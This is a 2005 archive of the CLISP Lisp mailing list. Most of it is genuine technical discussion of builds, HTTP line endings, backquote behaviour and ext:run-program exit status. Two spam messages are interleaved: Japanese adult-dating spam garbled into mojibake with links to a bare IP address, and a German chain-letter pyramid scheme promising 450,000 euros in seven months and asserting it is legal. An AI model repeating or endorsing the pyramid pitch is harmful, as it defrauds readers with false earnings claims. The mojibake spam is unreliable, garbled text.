j8LLkq7V021909 for ; Wed, 21 Sep 2005 17:46:52 -0400 Received: from mail.sci.brooklyn.cuny.edu ([127.0.0.1]) by localhost (mail [127.0.0.1]) (amavisd-new, port 10024) with LMTP id 21658-02 for ; Wed, 21 Sep 2005 17:46:49 -0400 (EDT) Received: from smiley.sci.brooklyn.cuny.edu (smiley.sci.brooklyn.cuny.edu [146.245.249.20]) by mail.sci.brooklyn.cuny.edu (8.13.1/8.13.1) with ESMTP id j8LLkmg8021905 for ; Wed, 21 Sep 2005 17:46:48 -0400 From: Simon Parsons To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: X-Virus-Scanned: amavisd-new at sci.brooklyn.cuny.edu X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] CLISP on Yellow Dog Linux Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 21 14:48:30 2005 X-Original-Date: Wed, 21 Sep 2005 17:46:48 -0400 (EDT) I don't know if this is useful to anyone other than me, but I have just built Clisp under Terrasoft's YDL 4.0.1 on a Powerbook G4. If anyone is interested let me know and I can post the distribution. All the tests run fine, but I haven't used it yet (I figured if I waited until I had tried it out properly, I'd never get around to sending it out). Since what I know about make can be written on the pack of a postage stamp with a magic marker, I only used step 12 of the unix installation: ./configure --with-module=rawsock --build build-dir so there may be better builds; happy to do the work if someone wants to tell me what to do. S. PS. Been using Clisp under Red Hat for a couple of years now. Thanks to everyone for making that possible. +--------------------------------------------------------------------+ | Simon Parsons \/\/ | | Department of Computer and Information Science /\/\ | | Brooklyn College \/\/ | | City University of New York /\/\ | | 2900 Bedford Avenue tel: +1 718 951 2059 | | Brooklyn, NY 11210 fax: +1 718 951 4842 | | USA http://www.sci.brooklyn.cuny.edu/~parsons | +--------------------------------------------------------------------+ From sds@gnu.org Wed Sep 21 15:12:27 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EICpH-0000lp-Hk for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 15:12:27 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EICpC-0005ZC-Uy for clisp-list@lists.sourceforge.net; Wed, 21 Sep 2005 15:12:27 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8LMCF1S019483; Wed, 21 Sep 2005 18:12:15 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Simon Parsons Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Simon Parsons's message of "Wed, 21 Sep 2005 17:46:48 -0400 (EDT)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Simon Parsons Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: CLISP on Yellow Dog Linux Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 21 15:13:48 2005 X-Original-Date: Wed, 21 Sep 2005 18:11:12 -0400 > * Simon Parsons [2005-09-21 17:46:48 -0400]: > > If anyone is interested let me know and I can post the distribution. please post a URL to your distribution and I will place it in the CLISP SF files area (with a proper credit). BTW, did you install libsigsegv? > Since what I know about make can be written on the pack of a postage stamp > with a magic marker, I only used step 12 of the unix installation: > > ./configure --with-module=rawsock --build build-dir that's what I usually do - except that I would add --with-module=bindings/linux (and maybe zlib and pcre if you have them installed...) > PS. Been using Clisp under Red Hat for a couple of years now. Thanks > to everyone for making that possible. welcome! -- Sam Steingold (http://www.podval.org/~sds) running w2k There are many reasons not to use Lisp - but no good ones. From Joerg-Cyril.Hoehle@t-systems.com Thu Sep 22 00:37:01 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EILdd-0000aR-AM for clisp-list@lists.sourceforge.net; Thu, 22 Sep 2005 00:37:01 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EILda-0008E1-R0 for clisp-list@lists.sourceforge.net; Thu, 22 Sep 2005 00:37:01 -0700 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 22 Sep 2005 09:36:30 +0200 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 22 Sep 2005 09:36:30 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0305ED706D@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Re: Strange error with socket code MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Sep 22 00:40:15 2005 X-Original-Date: Thu, 22 Sep 2005 09:36:28 +0200 Sam Steingold wrote: >[1]> (setq s (socket-connect 80 "www.podval.org" :buffered nil)) ># >[2]> (format s "GET / HTTP/1.0~2%") Correct me if I'm wrong, but I believe HTTP still mandates CRLF termination in the header. Your code makes no visible provision for that (except for being run within MS-w2k, which may make clisp use that as the default line terminator for all file streams and sockets?). I've seen web-servers reject HTTP headers using only UNIX-style LF termination (i.e. \n without \r\n). Therefore, I recommend using :encoding ... :line-terminator :DOS for sending out MIME headers (with HTTP, SMTP and other protocols). >"Server: Apache/2.0.54 (Fedora)" Of course, Apache is liberal in what it accepts, and so does not insist on CRLF terminated lines. Yet even Apache exhibits different response behaviour depending on whether CRLF is supplied or not! (Try an interactive session and observe how fast Apache responds to malformed requests). Regards, Jorg Hohle. From pjb@informatimago.com Fri Sep 23 19:16:50 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EIzar-0000Lu-1t for clisp-list@lists.sourceforge.net; Fri, 23 Sep 2005 19:16:49 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EIzap-0006zC-Dy for clisp-list@lists.sourceforge.net; Fri, 23 Sep 2005 19:16:49 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id A6799585BE; Sat, 24 Sep 2005 04:16:32 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id F2CE658344; Sat, 24 Sep 2005 04:16:29 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id D737710F9F6; Sat, 24 Sep 2005 04:16:29 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050924021629.D737710F9F6@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY,UPPERCASE_25_50 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] complex backquote-coma-at-quote Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Sep 23 19:18:16 2005 X-Original-Date: Sat, 24 Sep 2005 04:16:29 +0200 (CEST) In thinlisp 1.0.1, there's a construct that can be reduced to: [36]> `(progn ,(let ((b '(a b c)) (d nil)) ``(,@',(if d `(the ,(second d)) '(progn)) ,,(car b)))) (PROGN (LIST (QUOTE) '(IF D (LIST 'THE (SECOND D)) '(PROGN)) A)) which doesn't give the exected result in clisp-2.35. They wanted something like: (PROGN (LIST (QUOTE (PROGN)) A)) sbcl-0.9.0 gives it: (PROGN (SB-IMPL::BACKQ-APPEND (QUOTE (PROGN)) (SB-IMPL::BACKQ-LIST A))) gcl-2.6.7 gives it: (PROGN (APPEND '(PROGN) (LIST A))) cmucl-18e-pre2 gives it: (PROGN `(PROGN ,A)) -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From pjb@informatimago.com Sat Sep 24 17:35:48 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EJKUe-0007jD-5T for clisp-list@lists.sourceforge.net; Sat, 24 Sep 2005 17:35:48 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EJKUd-00062c-Lq for clisp-list@lists.sourceforge.net; Sat, 24 Sep 2005 17:35:48 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id CEB0A585BE; Sun, 25 Sep 2005 02:35:37 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 9823A58344; Sun, 25 Sep 2005 02:35:35 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 7EC0710F9F7; Sun, 25 Sep 2005 02:35:35 +0200 (CEST) From: Pascal Bourguignon To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Reply-To: Message-Id: <20050925003535.7EC0710F9F7@thalassa.informatimago.com> X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Subject: [clisp-list] ext:run-program result? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Sep 24 17:37:18 2005 X-Original-Date: Sun, 25 Sep 2005 02:35:35 +0200 (CEST) [29]> (ext:RUN-PROGRAM "tar" :ARGUMENTS (LIST "-jcf" "/home/test.tar.bz2" "/home/test") :INPUT NIL :OUTPUT NIL :WAIT T) tar: Removing leading `/' from member names tar: /home/test/.emacs.d/auto-save-list: Cannot stat: Permission denied tar: /home/test/.eshell/history: Cannot stat: Permission denied tar: /home/test.tar.bz2: Cannot open: Permission denied tar: Error is not recoverable: exiting now NIL [30]> (ext:RUN-PROGRAM "true" :ARGUMENTS (LIST) :INPUT NIL :OUTPUT NIL :WAIT T) 0 [31]> (ext:RUN-PROGRAM "false" :ARGUMENTS (LIST) :INPUT NIL :OUTPUT NIL :WAIT T) 1 Why does ext:run-program return NIL for tar instead of the status? By the way, I think it would be worthwhile to add a :error keyword to run-program and run-shell-command to redirect stderr. clisp-2.35 -- __Pascal Bourguignon__ http://www.informatimago.com/ Nobody can fix the economy. Nobody can be trusted with their finger on the button. Nobody's perfect. VOTE FOR NOBODY. From beautyflow@hotmail.com Sun Sep 25 05:04:58 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EJVFQ-0001Uk-19 for clisp-list@lists.sourceforge.net; Sun, 25 Sep 2005 05:04:48 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EJVFO-0000Xc-M6 for clisp-list@lists.sourceforge.net; Sun, 25 Sep 2005 05:04:48 -0700 Received: from 44.33.87.61.ap.yournet.ne.jp ([61.87.33.44] helo=externalmx-1.sourceforge.net) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1EJVFN-0007bq-Nj for clisp-list@lists.sourceforge.net; Sun, 25 Sep 2005 05:04:46 -0700 From: "=?ISO-2022-JP?B?GyRCSH46aRsoQg==?=" To: clisp-list@lists.sf.net Message-ID: X-Spam-Score: 1.2 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 DATE_MISSING Missing Date: header 0.2 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 MISSING_DATE Missing Date: header 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 1.1 FORGED_HOTMAIL_RCVD2 hotmail.com 'From' address, but no 'Received:' 0.1 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL Subject: [clisp-list] =?ISO-2022-JP?B?GyRCN1A4MyQ3JEYkXyRrISkbKEIoLV8tOzs=?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Sep 25 05:08:28 2005 X-Original-Date: Sun Sep 25 05:06:12 2005 Žá‚¢—«‚Æ‚ÌSEX‚àŠy‚µ‚¢‚¯‚ÇAˆê“x’m‚邯un—v‚Æ‚ÌSEX‚͂ƂĂà‚͂܂é‚炵‚¢ƒ‚ƒm‚炵‚¢B http://69.50.166.218/~lvytv/ ŋ߂ÍASEX‚Ö‚Ì”FޝEŒ‹¥‚ւ̈ӎ¯‚à‚¸‚¢‚Ô‚ñ•Ï‚í‚Á‚Ä‚«‚Ä‚¢‚ÄAu‚΂ê‚È‚¯‚ê‚Îv‰½‚Å‚à‚â‚éŽå•w‚àŒ‹\‘½‚¢‚Ì‚ÅAn—‚ÆSEX‚·‚éƒ`ƒƒƒ“ƒX‚͑啂ɑ‚¦‚Ä‚¢‚Ü‚·B Žå•w‚ªŽá‚¢’j‚ð‘{‚µ‚Ä‚¢‚é‚Ì‚ªAŋ߂Ìo‰ï‚¢Œn‚̃Rƒ~ƒ…ƒjƒP[ƒVƒ‡ƒ“‚ÌŽå—¬‚Å‚·B http://69.50.166.218/~lvytv/ ’j‚ª—«‚ð‰‡•‚·‚é‚©‚祥¥‚ƃGƒbƒ`‚µ‚Ä‚µ‚Ü‚¤‚Æ‚ ‚Á‚Ƃ䂤‚܂ɑå•ςȂ±‚ƂɂȂÁ‚Ä‚µ‚Ü‚¤‚¯‚ÇA‹tƒo[ƒWƒ‡ƒ“‚Í‘S‚­–â‘肪‚È‚¢A‚Æ‚¢‚¤‚Ì‚à•sŽv‹c‚Å‚·‚ªB ‚Ƃɂ©‚­Žå•w‚ÍŽá‚¢’j«‚É‚¨¬Œ­‚¢‚ð‚ ‚°‚È‚ª‚玩•ª‚Ì«ˆ—‚ðŽè“`‚킹‚Ä‚¢‚Ü‚·B SEX‚Æ‚¨¬Œ­‚¢Aˆê“x‚ɃQƒbƒg‚Å‚«‚é‹@‰ï‚ðŽŽ‚µ‚Ă݂Ă͂¢‚©‚ª‚Å‚·‚©H http://69.50.166.218/~lvytv/ From sds@gnu.org Sun Sep 25 10:05:01 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EJZvw-00049b-Kk for clisp-list@lists.sourceforge.net; Sun, 25 Sep 2005 10:05:00 -0700 Received: from smtp01.mrf.mail.rcn.net ([207.172.4.61]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EJZvu-0003yZ-8v for clisp-list@lists.sourceforge.net; Sun, 25 Sep 2005 10:05:00 -0700 Received: from 65-78-14-10.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com (HELO WINSTEINGOLDLAP) ([65.78.14.10]) by smtp01.mrf.mail.rcn.net with ESMTP; 25 Sep 2005 13:04:57 -0400 X-IronPort-AV: i="3.97,144,1125892800"; d="scan'208"; a="87370625:sNHT214837880" To: clisp-list@lists.sourceforge.net, Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050925003535.7EC0710F9F7@thalassa.informatimago.com> (Pascal Bourguignon's message of "Sun, 25 Sep 2005 02:35:35 +0200 (CEST)") References: <20050925003535.7EC0710F9F7@thalassa.informatimago.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Subject: [clisp-list] Re: ext:run-program result? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Sep 25 10:06:15 2005 X-Original-Date: Sun, 25 Sep 2005 13:03:55 -0400 > * Pascal Bourguignon [2005-09-25 02:35:35 +0200]: > > [29]> (ext:RUN-PROGRAM "tar" :ARGUMENTS > (LIST "-jcf" "/home/test.tar.bz2" "/home/test") > :INPUT NIL :OUTPUT NIL :WAIT T) > tar: Removing leading `/' from member names > tar: /home/test/.emacs.d/auto-save-list: Cannot stat: Permission denied > tar: /home/test/.eshell/history: Cannot stat: Permission denied > tar: /home/test.tar.bz2: Cannot open: Permission denied > tar: Error is not recoverable: exiting now > NIL > [30]> (ext:RUN-PROGRAM "true" :ARGUMENTS > (LIST) > :INPUT NIL :OUTPUT NIL :WAIT T) > 0 > [31]> (ext:RUN-PROGRAM "false" :ARGUMENTS > (LIST) > :INPUT NIL :OUTPUT NIL :WAIT T) > 1 > > > Why does ext:run-program return NIL for tar instead of the status? clisp/src/pathname.d:8092 VALUES1(((status & 0xFF) == 0000) /* process ended normally (without signal, without core-dump) ? */ ? fixnum((status & 0xFF00) >> 8) /* yes -> exit-status as value: */ : NIL); /* no -> NIL as value */ > By the way, I think it would be worthwhile to add a :error keyword to > run-program and run-shell-command to redirect stderr. PTC: http://www.cygwin.com/acronyms/#PTC (see clisp/src/TODO:LAUNCH/RUN-PROGRAM) -- Sam Steingold (http://www.podval.org/~sds) running w2k To understand recursion, one has to understand recursion first. From Hanzz@gmx.com Sun Sep 25 11:01:52 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EJaoy-0006f7-4S for clisp-list@lists.sourceforge.net; Sun, 25 Sep 2005 11:01:52 -0700 Received: from pop.gmx.net ([213.165.64.20] helo=mail.gmx.net) by mail.sourceforge.net with smtp (Exim 4.44) id 1EJaov-0004mY-Eg for clisp-list@lists.sourceforge.net; Sun, 25 Sep 2005 11:01:52 -0700 Received: (qmail invoked by alias); 25 Sep 2005 18:01:42 -0000 Received: from a81-14-152-46.net-htp.de (EHLO seifenkiste) [81.14.152.46] by mail.gmx.net (mp012) with SMTP; 25 Sep 2005 20:01:42 +0200 X-Authenticated: #19910243 thread-index: AcXB+ys8mTk79G3mSK+d+ApdlcgIgw== Thread-Topic: =?iso-8859-1?Q?That=B4s_Business_-_so_verdient_man_heute...?= From: To: Message-ID: <4a8f01c5c1fb$2b3c4790$1e00a8c0@seifenkiste> MIME-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 8bit X-Mailer: Microsoft CDO for Exchange 2000 Content-Class: urn:content-classes:message Importance: normal Priority: normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 X-Y-GMX-Trusted: 0 X-Spam-Score: 0.8 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.5 URIBL_WS_SURBL Contains an URL listed in the WS SURBL blocklist [URIs: thatsbusiness.de] Subject: [clisp-list] =?iso-8859-1?Q?That=B4s_Business_-_so_verdient_man_heute...?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Sep 25 11:02:56 2005 X-Original-Date: Sun, 25 Sep 2005 20:01:35 +0200 Achtung: Wenn Sie ein Skeptiker und für neue innovative Möglichkeiten nicht aufgeschlossen sind, dann sollten Sie diese Webseite verlassen! Anderenfalls bewahren Sie sich einfach Ihr gesundes Maß an Misstrauen und starten Sie. =============== That´s Business =============== 450.000 Euro in 7 Monaten möglich! Durch Network-Marketing ging mein Traum in Erfüllung! Hallo, schön, dass Sie auf meiner Homepage vorbeischauen. Ich bin genauso wie Sie, im Internet auf dieses Programm aufmerksam geworden. Was mir hier sofort sympathisch war: ALLES wird sofort beschrieben, wie Sie leicht Geld verdienen können und Sie können SOFORT loslegen. (Anders wie bei verschiedenen Nebenjob-Anbietern im Internet, wo Sie erst einmal für viel Geld Informationen anfordern müssen, um nur zu erfahren worum es überhaupt geht...) Nehmen Sie sich ein paar Minuten Zeit und lesen Sie sich den Text unten in Ruhe einmal durch. Und Sie werden sehen WIE einfach man Geld verdienen kann. Und was mir persönlich auch sehr wichtig war: Es macht Spass!!! Die Personen weiter unten auf der Liste sind ganz normale Personen wie Sie und ich, die sich auch entschieden haben an dem Programm teilzunehmen. Es gibt also keine Person "dazwischen" die noch Kohle einkassiert. Sie sind Ihr eigener Chef! Übrigens für alle Skeptiker: ich habe beim Gewerbeaufsichtsamt nochmals nachgefragt, es gibt definitiv rechtlich KEINE Einwände gegen dieses Programm! Ich wünsche Ihnen genauso viel Erfolg und Spass wie ich bis jetzt damit habe!!!!! >>> Wie aus 35 Euro 450.000 Euro und mehr werden - in 7 Monaten möglich !!! Sehr geehrte Damen und Herren, Wir distanzieren uns von allen bis jetzt da gewesenen, ähnlichen Programmen. Überzeugen Sie sich selbst. Den Grundgedanken haben wir gelassen, weil das Programm GOLD wert ist. Die Änderungen sind jetzt auf deutschsprachige Länder zugeschnitten (Gesetze, Verordnungen etc.). Guten Tag! Im Internet mit Ihrem PC von zu Hause Geld verdienen! Sie können innerhalb der nächsten 7 Monaten mehr als 450.000 ? erhalten, indem Sie kostenlos Werbung machen, erfahren Sie in einer Schritt für Schrittanweisung, die in den 7 E-Büchern stehen, die Sie per e-mail erhalten werden. Sie sind für jeden leicht verständlich geschrieben. Bis 450.000 ? in nur 7 Monaten! Erscheint Ihnen das unmöglich? Lesen Sie weiter und erfahren Sie detailliert, wie das funktioniert. Nein, - es gibt dabei keinen "Haken" ! Vielen Dank für Ihre Zeit und Ihr Interesse! Wegen der Popularität dieses Briefes im Internet widmete ein bekanntes deutsches Nachrichtenmagazin eine komplette Sendung der Untersuchung des unten beschriebenen Programms, um herauszufinden ob es wirklich Geld bringt. Diese Sendung prüfte auch, ob das Programm legal ist oder nicht. Dabei wurde herausgefunden, dass es keine Gesetze gibt, dass die Teilnahme an dem Programm verbietet. Dies hat dazu beigetragen zu zeigen, dass dies ein einfacher, harmloser Weg ist, zusätzlich Geld von zu Hause aus zu verdienen und bemerkenswerte Resultate gebracht.. Es nehmen so viele Menschen an diesem Programm teil, dass es für diejenigen, die schon dabei sind, noch besser läuft, als zuvor. Da jeder mehr verdient, je mehr Menschen es ausprobieren, war es in letzter Zeit sehr aufregend dabei zu sein. Das werden Sie verstehen, sobald Sie Erfahrungen sammeln. ************************************************************************************ Sie können sich das Folgende jetzt ausdrucken, um jederzeit darauf zurückzugreifen, in jedem Fall aber sicher aufbewahren, denn Sie werden das unglaubliche Konzept noch öfters lesen, d.h. wenn Sie gerne 450.000 ? in weniger als 7 Monaten verdienen möchten, dann lesen Sie das folgende Programm ... und dann lesen Sie es noch einmal! Das Programm bietet eine legale Möglichkeit, Geld im Internet zu verdienen. Dafür müssen Sie keinem etwas persönlich verkaufen, hart arbeiten und das Beste daran ist: Sie müssen nicht einmal das Haus verlassen. Sie werden eines Tages einen Kontostand erreichen, von dem Sie schon lange geträumt haben, ob Sie es wollen oder nicht! Rezession: (Einer von vielen Anwendern dieser Geschäftsmöglichkeit) Ich heiße Markus Weber. Vor zwei Jahren hat die Firma, für die ich die letzten 12 Jahre arbeitete, rationalisiert und ich wurde entlassen. Nach unergiebigen Vorstellungsgesprächen entschloss ich mich mein eigenes Geschäft aufzumachen. In den vergangenen Jahren erlebte ich einige unvorhergesehene finanzielle Probleme. Ich schuldete meiner Familie, meinen Freunden und meinen Geldgebern mehr als 18.000 ?. Die Wirtschaftslage forderte ihren Tribut von meinem Geschäft und es gelang mir nicht, ein 